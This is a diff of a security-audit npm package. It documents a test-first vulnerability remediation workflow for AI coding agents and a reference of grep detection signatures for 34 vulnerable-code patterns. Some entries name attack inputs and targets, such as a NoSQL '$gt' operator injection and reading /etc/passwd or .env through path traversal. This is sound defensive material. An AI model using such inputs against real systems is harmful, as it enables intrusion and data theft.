+ def test_exploit_blocked(client, attacker_token):
55
+ response = client.post(
56
+ '/api/vulnerable-endpoint',
57
+ json={'input': '<exploit payload>'},
58
+ headers={'Authorization': f'Bearer {attacker_token}'}
59
+ )
60
+ assert response.status_code == 403 # currently 200 — RED
61
+ ```
62
+
63
+ **Vitest + Testing Library (React / Next.js)**
64
+ ```typescript
65
+ test('SHOULD NOT store auth token in localStorage', async () => {
66
+ render(<LoginForm />);
67
+ fireEvent.submit(screen.getByRole('form'));
68
+ await waitFor(() => {
69
+ expect(localStorage.getItem('token')).toBeNull(); // currently set — RED
70
+ });
71
+ });
72
+ ```
73
+
74
+ **flutter_test (Flutter)**
75
+ ```dart
76
+ test('SHOULD NOT store auth token in SharedPreferences', () async {
77
+ SharedPreferences.setMockInitialValues({});
78
+ await simulateLogin(username: 'user', password: 'password');
79
+ final prefs = await SharedPreferences.getInstance();
80
+ expect(prefs.getString('token'), isNull); // currently stored — RED
81
+ });
82
+ ```
83
+
84
+ See [`prompts/red-phase.md`](../prompts/red-phase.md) for vulnerability-specific exploit strategies.
85
+
86
+ ---
87
+
88
+ ## Phase 2 — Green (Patch)
89
+
90
+ Apply the **minimum code change** that makes the exploit test pass. A targeted fix is safer than a rewrite.
91
+
92
+ 1. Identify the root cause — a 500 error is not a security fix
93
+ 2. Apply the narrowest patch that closes the vulnerability
94
+ 3. Run `npm run test:security` — the exploit test must now pass
95
+ 4. If the test still fails, the patch is incomplete — do not advance
96
+
97
+ See [`prompts/green-phase.md`](../prompts/green-phase.md) for vulnerability-specific patch strategies with before/after code examples covering:
98
+
99
+ - IDOR / tenant isolation
100
+ - XSS and `dangerouslySetInnerHTML`
101
+ - SQL injection (parameterized queries)
102
+ - Command injection (argument arrays)
103
+ - Path traversal (resolve + bounds check)
104
+ - Broken auth (JWT middleware)
105
+ - Next.js API route auth
106
+ - React Native / Expo sensitive storage migration
107
+ - Flutter sensitive storage migration
108
+ - SSRF (URL allowlist)
109
+ - Open redirect (relative-only)
110
+ - NoSQL injection (operator sanitization)
111
+ - Mass assignment (field allowlisting)
112
+ - Prototype pollution (key sanitization)
113
+ - Weak crypto (bcrypt/argon2)
114
+ - Missing rate limiting
115
+ - Missing security headers (Helmet)
116
+ - TLS bypass removal
117
+
118
+ ---
119
+
120
+ ## Phase 3 — Refactor (Regression)
121
+
122
+ Run the **full** test suite — security tests plus all pre-existing functional and integration tests.
123
+
124
+ ```bash
125
+ npm test # Node.js
126
+ pytest # Python
127
+ go test ./... # Go
128
+ flutter test # Flutter
129
+ ```
130
+
131
+ **If any pre-existing test now fails, stop and revert.** Return to Phase 2 with a narrower approach. A security fix that breaks functionality is a failed fix.
132
+
133
+ ### Regression checklist
134
+
135
+ - [ ] Happy-path flows still work — legitimate users can access their own resources
136
+ - [ ] Error messages are safe — no stack traces or internal paths in error responses
137
+ - [ ] Auth bypass not introduced — the fix doesn't open a new unprotected code path
138
+ - [ ] No secrets committed — patch doesn't hardcode keys or tokens
139
+ - [ ] No debug logging left — remove any `console.log` added during patching
140
+
141
+ See [`prompts/refactor-phase.md`](../prompts/refactor-phase.md) for the full framework-specific regression checklist.
142
+
143
+ ---
144
+
145
+ ## Phase 4 — Hardening (Proactive)
146
+
147
+ After all vulnerabilities are remediated, apply defence-in-depth controls that make future vulnerabilities harder to introduce. See [`docs/hardening.md`](hardening.md) for the full guide.
148
+
149
+ Summary of controls:
150
+ - **Security headers** — `helmet()` applied before all routes; explicit CSP
151
+ - **CSRF protection** — `csrf-csrf` double-submit pattern (not deprecated `csurf`)
152
+ - **Rate limiting** — `express-rate-limit` on auth routes
153
+ - **Dependency audit** — `npm audit --audit-level=high` in CI
154
+ - **Secret history scan** — `gitleaks` / `trufflehog` to catch committed secrets
155
+ - **Error handling** — generic 500 messages in production, no stack traces
156
+ - **SRI** — subresource integrity hashes on third-party CDN assets
157
+ - **GitHub Actions pinning** — every `uses:` locked to a full commit SHA
158
+
159
+ ---
160
+
161
+ ## When to revert and retry
162
+
163
+ Revert the patch (`git checkout -- <file>`) and return to Phase 2 if:
164
+
165
+ - A functional test fails after applying the security fix
166
+ - The fix introduces a new 401/403 for a legitimate user flow
167
+ - Performance degrades measurably (e.g., O(n) queries replacing O(1))
168
+
169
+ When you retry, describe the constraint: *"The previous fix broke X — find a narrower approach that still closes the vulnerability."*
170
+
171
+ ---
172
+
173
+ ## Remediation Summary format
174
+
175
+ After all vulnerabilities are addressed, the agent outputs a table:
176
+
177
+ ```
178
+ ## Remediation Summary
179
+
180
+ | Vulnerability | File | Status | Test File | Fix Applied |
181
+ |---|---|---|---|---|
182
+ | SQLi | src/routes/users.js:34 | ✅ Fixed | __tests__/security/sqli-users.test.js | Parameterized query |
183
+ | IDOR | src/controllers/docs.js:87 | ✅ Fixed | __tests__/security/idor-docs.test.js | Ownership check added |
184
+ ```
@@ -0,0 +1,200 @@
1
+ # Vulnerability Patterns Reference
2
+
3
+ All 34 patterns detected by `@lhi/tdd-audit`. Patterns are checked against every scannable source file line-by-line. Prompt/skill patterns are checked separately against `.md` files in agent configuration directories.
4
+
5
+ ---
6
+
7
+ ## CRITICAL
8
+
9
+ ### SQL Injection
10
+ **Grep signature:** template literal SELECT, string-concatenated query, Python f-string/%-format SQL, tagged template DB call
11
+ **Why it matters:** Attacker can read, modify, or delete any data in your database by manipulating the query string.
12
+ **Fix:** Parameterized queries / ORM methods. See [`green-phase.md`](../prompts/green-phase.md#sql-injection).
13
+
14
+ ### Command Injection
15
+ **Grep signature:** `exec(` / `execSync(` with `req.params|body|query`; `subprocess.run(shell=True)`
16
+ **Why it matters:** Attacker can run arbitrary shell commands on your server.
17
+ **Fix:** Use `execFile`/`spawn` with an argument array (no shell interpolation).
18
+
19
+ ### TLS Bypass
20
+ **Grep signature:** `badCertificateCallback = true`, `rejectUnauthorized: false`, `NODE_TLS_REJECT_UNAUTHORIZED=0`
21
+ **Why it matters:** All HTTPS connections become vulnerable to man-in-the-middle attacks.
22
+ **Fix:** Remove the override. For internal CAs, set `NODE_EXTRA_CA_CERTS` or pass the cert to `SecurityContext`.
23
+
24
+ ### Hardcoded Secret
25
+ **Grep signature:** `const API_KEY = "..."`, `let SECRET_KEY = "..."` (≥20 chars)
26
+ **Note:** `skipInTests: true` — matches in test files are marked `likelyFalsePositive`.
27
+ **Why it matters:** Secret is committed to git history and visible to anyone with repo access.
28
+ **Fix:** Move to environment variables. Run `gitleaks` to check if already committed.
29
+
30
+ ### SSRF (Server-Side Request Forgery)
31
+ **Grep signature:** `fetch(req.query.url)`, `axios.get(req.body.url)`, `got(req.params.url)`
32
+ **Why it matters:** Attacker can probe internal services (AWS metadata, Redis, internal APIs) via your server.
33
+ **Fix:** Validate URL against an explicit hostname allowlist. Block private IP ranges.
34
+
35
+ ### Insecure Deserialization
36
+ **Grep signature:** `.unserialize(req.)`, `__proto__ =`, `Object.setPrototypeOf(x, req.`
37
+ **Why it matters:** Attacker can achieve RCE or privilege escalation by crafting a malicious serialized payload.
38
+ **Fix:** Never deserialize user-supplied data. Use JSON with a schema validator instead.
39
+
40
+ ### JWT Alg None
41
+ **Grep signature:** `algorithm: 'none'`
42
+ **Why it matters:** The `alg:none` attack strips the JWT signature entirely, allowing anyone to forge tokens.
43
+ **Fix:** Use `jsonwebtoken` with an explicit `algorithms` allowlist — never include `'none'`.
44
+
45
+ ---
46
+
47
+ ## HIGH
48
+
49
+ ### IDOR (Insecure Direct Object Reference)
50
+ **Grep signature:** `findById(req.params|body|query.`, `findOne({id: req.params|body|query`
51
+ **Why it matters:** Any logged-in user can access another user's private data by guessing or iterating IDs.
52
+ **Fix:** Scope all DB queries to `req.user.id`. Never trust a client-supplied resource ID.
53
+
54
+ ### XSS (Cross-Site Scripting)
55
+ **Grep signature:** `innerHTML =`, `dangerouslySetInnerHTML={{`, `document.write(`, `res.send(\`...\${req.`
56
+ **Why it matters:** Attacker can inject scripts that run in other users' browsers, stealing sessions or redirecting them.
57
+ **Fix:** Escape on output (`escape-html`), sanitize rich HTML (`DOMPurify`), or use a framework that auto-escapes.
58
+
59
+ ### Path Traversal
60
+ **Grep signature:** `readFile/sendFile/createReadStream(req.`, `path.join(req.params|body|query`
61
+ **Why it matters:** Attacker can read files outside the uploads directory (`.env`, `/etc/passwd`).
62
+ **Fix:** `path.resolve()` the final path and assert it starts with the allowed base directory.
63
+
64
+ ### Broken Auth
65
+ **Grep signature:** `jwt.decode(` (without `.verify`), `verify: false`, `secret = "short_string"`
66
+ **Why it matters:** Anyone can forge a valid-looking token and impersonate any user.
67
+ **Fix:** Always use `jwt.verify()` with an explicit secret from environment variables.
68
+
69
+ ### Sensitive Storage
70
+ **Grep signature:** `localStorage.setItem('token'`, `AsyncStorage.setItem('token'`
71
+ **Why it matters:** Tokens stored in unencrypted storage are readable on rooted/jailbroken devices and via XSS.
72
+ **Fix:** Use `expo-secure-store` (React Native/Expo) or `flutter_secure_storage` (Flutter).
73
+
74
+ ### eval() Injection
75
+ **Grep signature:** `eval(route.params`, `eval(searchParams.get`, `eval(req.query|body`
76
+ **Why it matters:** Attacker can execute arbitrary JavaScript in the application context.
77
+ **Fix:** Never use `eval()` with user input. Use `JSON.parse()` for data deserialization.
78
+
79
+ ### Insecure Random
80
+ **Grep signature:** `token = Math.random()`, `sessionId = Math.random()`
81
+ **Why it matters:** `Math.random()` is not cryptographically secure — tokens can be predicted.
82
+ **Fix:** Use `crypto.randomBytes()` (Node.js) or `secrets.token_hex()` (Python).
83
+
84
+ ### Secret Fallback
85
+ **Grep signature:** `process.env.SECRET || "hardcoded_value"`
86
+ **Why it matters:** The hardcoded fallback is committed to source control and used whenever the env var is missing.
87
+ **Fix:** Fail fast if the env var is absent — never fall back to a default secret.
88
+
89
+ ### Open Redirect
90
+ **Grep signature:** `res.redirect(req.query|body|params.`, `window.location = params.`
91
+ **Why it matters:** Attacker can redirect users to phishing sites after a legitimate login flow.
92
+ **Fix:** Allow only relative paths. Reject `http://` / `https://` and `//` prefix destinations.
93
+
94
+ ### NoSQL Injection
95
+ **Grep signature:** `.find(req.body|query)`, `.findOne(req.body|query)`, `$where:`
96
+ **Why it matters:** Attacker can bypass authentication by injecting MongoDB operators (`{ $gt: '' }`).
97
+ **Fix:** Cast query values to strings. Use `express-mongo-sanitize` to strip `$` operators.
98
+
99
+ ### Template Injection
100
+ **Grep signature:** `res.render(req.params|query`, `ejs.render(req.body`, `pug.render(req.body`
101
+ **Why it matters:** Attacker can execute server-side template code, potentially achieving RCE.
102
+ **Fix:** Never pass user input as the template name or raw template string.
103
+
104
+ ### Mass Assignment
105
+ **Grep signature:** `new Model(req.body)`, `.create(req.body)`, `.update({}, req.body)`
106
+ **Why it matters:** Attacker can set privileged fields (`isAdmin`, `role`) by adding them to a POST body.
107
+ **Fix:** Destructure and allowlist only the fields users are permitted to set.
108
+
109
+ ### Prototype Pollution
110
+ **Grep signature:** `_.merge(req.body|query)`, `deepmerge(req.body|query)`, `Object.assign({}, req.body)`
111
+ **Why it matters:** Attacker can inject properties into `Object.prototype`, affecting all objects in the process.
112
+ **Fix:** Sanitize `__proto__` / `constructor` / `prototype` keys before any recursive merge.
113
+
114
+ ### Weak Crypto
115
+ **Grep signature:** `createHash('md5')`, `createHash('sha1')`, `md5(password)`, `sha1(password)`
116
+ **Why it matters:** MD5 and SHA1 hashes are trivially crackable with rainbow tables.
117
+ **Fix:** Use `bcrypt` (cost factor ≥12) or `argon2` for passwords.
118
+
119
+ ### XXE (XML External Entity)
120
+ **Grep signature:** `noent: true`, `expand_entities = True`, `resolve_entities = True`
121
+ **Why it matters:** Attacker can read local files or perform SSRF via XML entity expansion.
122
+ **Fix:** Disable entity expansion in your XML parser. Never enable it for user-supplied XML.
123
+
124
+ ### WebView JS Bridge
125
+ **Grep signature:** `addJavascriptInterface(`, `javaScriptEnabled: true`, `allowFileAccess: true`, `allowUniversalAccessFromFileURLs: true`
126
+ **Why it matters:** Exposed JavaScript bridge or relaxed WebView settings allow XSS-to-native escalation.
127
+ **Fix:** Disable unnecessary WebView capabilities. Never expose a JS bridge to untrusted content.
128
+
129
+ ### Timing-Unsafe Comparison
130
+ **Grep signature:** `token === `, `password ===`, `secret ==` (equality comparison of secrets)
131
+ **Why it matters:** Timing side-channel allows attackers to brute-force tokens bit by bit.
132
+ **Fix:** Use `crypto.timingSafeEqual()` (Node.js) or `hmac.compare_digest()` (Python) for all secret comparisons.
133
+
134
+ ### ReDoS
135
+ **Grep signature:** `new RegExp(req.query|body|params.`
136
+ **Why it matters:** Attacker can craft input that causes catastrophic regex backtracking, DoSing the process.
137
+ **Fix:** Never construct regex from user input. If required, use a regex complexity validator.
138
+
139
+ ---
140
+
141
+ ## MEDIUM
142
+
143
+ ### Sensitive Log
144
+ **Grep signature:** `console.log(token|password|secret|jwt|authorization|apiKey`
145
+ **Note:** `skipInTests: true`
146
+ **Why it matters:** Secrets end up in log aggregation systems, monitoring dashboards, and CI output.
147
+ **Fix:** Remove or redact sensitive fields before logging.
148
+
149
+ ### CORS Wildcard
150
+ **Grep signature:** `cors({ origin: '*' })`, `Access-Control-Allow-Origin: *`
151
+ **Why it matters:** Any origin can make credentialed requests to your API.
152
+ **Fix:** Specify an explicit origin allowlist in your CORS configuration.
153
+
154
+ ### Cleartext Traffic
155
+ **Grep signature:** `baseURL = 'http://...'` (non-localhost)
156
+ **Note:** `skipInTests: true`
157
+ **Why it matters:** API traffic is sent unencrypted and visible to network observers.
158
+ **Fix:** Use `https://` for all non-localhost API base URLs.
159
+
160
+ ### Deep Link Injection
161
+ **Grep signature:** `Linking.getInitialURL()`, `Linking.addEventListener('url'`
162
+ **Why it matters:** Attacker can inject malicious data via crafted deep links if parameters are not validated.
163
+ **Fix:** Validate and sanitize all values extracted from deep link URLs before use.
164
+
165
+ ---
166
+
167
+ ## Prompt / Skill / Agent Patterns
168
+
169
+ These patterns are checked against `.md` files in `prompts/`, `skills/`, `.claude/`, `workflows/`, `CLAUDE.md`, `SKILL.md`, `.cursorrules`, and `.clinerules`.
170
+
171
+ ### Deprecated CSRF Package (CRITICAL)
172
+ **Grep signature:** `\bcsurf\b` (not in a comment line)
173
+ **Why it matters:** `csurf` was deprecated in March 2023 and is unmaintained. Projects that follow instructions referencing it will install a package with unpatched vulnerabilities.
174
+ **Fix:** Replace with `csrf-csrf` (`doubleCsrf` pattern).
175
+
176
+ ### Unpinned npx MCP Server (HIGH)
177
+ **Grep signature:** `"command": "npx"` in MCP server config
178
+ **Why it matters:** `npx` resolves the latest version at runtime. A compromised package version executes arbitrary code in the agent's context.
179
+ **Fix:** Pin MCP servers to exact versions or install locally. Use `node /path/to/server.js` instead of `npx`.
180
+
181
+ ### Cleartext URL in Prompt (MEDIUM)
182
+ **Grep signature:** `http://` (non-localhost) in prompt/skill markdown
183
+ **Why it matters:** Cleartext URLs in agent instructions can mislead the agent into making insecure HTTP requests.
184
+ **Fix:** Replace with `https://` URLs.
185
+
186
+ ---
187
+
188
+ ## Config / Manifest Patterns
189
+
190
+ ### Config Secret (CRITICAL)
191
+ **Files checked:** `app.json`, `app.config.js`, `app.config.ts`
192
+ **Grep signature:** `apiKey: "..."`, `secret: "..."`, `accessToken: "..."` (≥20 chars)
193
+ **Why it matters:** Expo/React Native config files are bundled into the app binary and shipped to users.
194
+ **Fix:** Use `expo-constants` with environment variables at build time. Never embed secrets in config files.
195
+
196
+ ### Android Debuggable (HIGH)
197
+ **Files checked:** `android/app/src/main/AndroidManifest.xml`
198
+ **Grep signature:** `android:debuggable="true"`
199
+ **Why it matters:** Debug builds expose the app to `adb` inspection and arbitrary code injection on the device.
200
+ **Fix:** Remove `android:debuggable` from `AndroidManifest.xml` (the build system sets it correctly per variant).
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@lhi/tdd-audit",
3
- "version": "1.8.1",
3
+ "version": "1.8.3",
4
4
  "description": "Security skill installer for Claude Code, Gemini CLI, Cursor, Codex, and OpenCode. Patches vulnerabilities using a Red-Green-Refactor exploit-test protocol.",
5
5
  "main": "index.js",
6
6
  "bin": {
@@ -14,7 +14,8 @@
14
14
  "templates/",
15
15
  "workflows/",
16
16
  "README.md",
17
- "LICENSE"
17
+ "LICENSE",
18
+ "docs/"
18
19
  ],
19
20
  "scripts": {
20
21
  "test": "jest --forceExit",